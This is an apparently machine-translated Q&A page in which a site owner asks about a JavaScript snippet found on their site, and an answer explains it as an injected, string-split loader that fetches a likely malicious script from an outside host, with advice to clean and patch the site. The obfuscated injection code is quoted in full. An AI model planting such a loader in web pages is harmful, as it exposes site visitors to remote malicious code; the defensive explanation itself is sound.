繁体   English   中英

有人可以解释一下这段 JavaScript 代码吗

[英]Could someone explain this JavaScript code

请解释一下这段代码的含义:

<script type="text/javascript" language="javascript">
    document.write('<scri' + 'pt type="text/javas' + 'cript" language="javas' + 'cript" src="' + top.location.protocol + '//c.sitehelp.inkiev.net/code.cgi?c=4067' + (top.location.protocol=='http:' ? '' : '&ssl=1') + '&rnd=' + Math.random() + '"></sc' + 'ript>');
</script>

哦,这么多缺点。 我尽量简化表达,看了document.write()一下就明白了。 为什么有人将它添加到我的网站?

<script 
    type="text/javascript" 
    language="javascript" 
    src="'http://c.sitehelp.inkiev.net/code.cgi?c=4067&rnd=' + Math.random() + '">
</script>

您的网站可能遭到入侵,并且有人注入了 javascript 代码。 有一定知识的人应该使网站脱机,清理,通过更新它使用的任何服务(例如 wordpress)修补任何漏洞,然后将其重新上线。 该代码试图通过拆分字符串来避免将关键字列入黑名单。 它从它生成的 url 中检索一个可能是恶意的脚本。

暂无
暂无

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM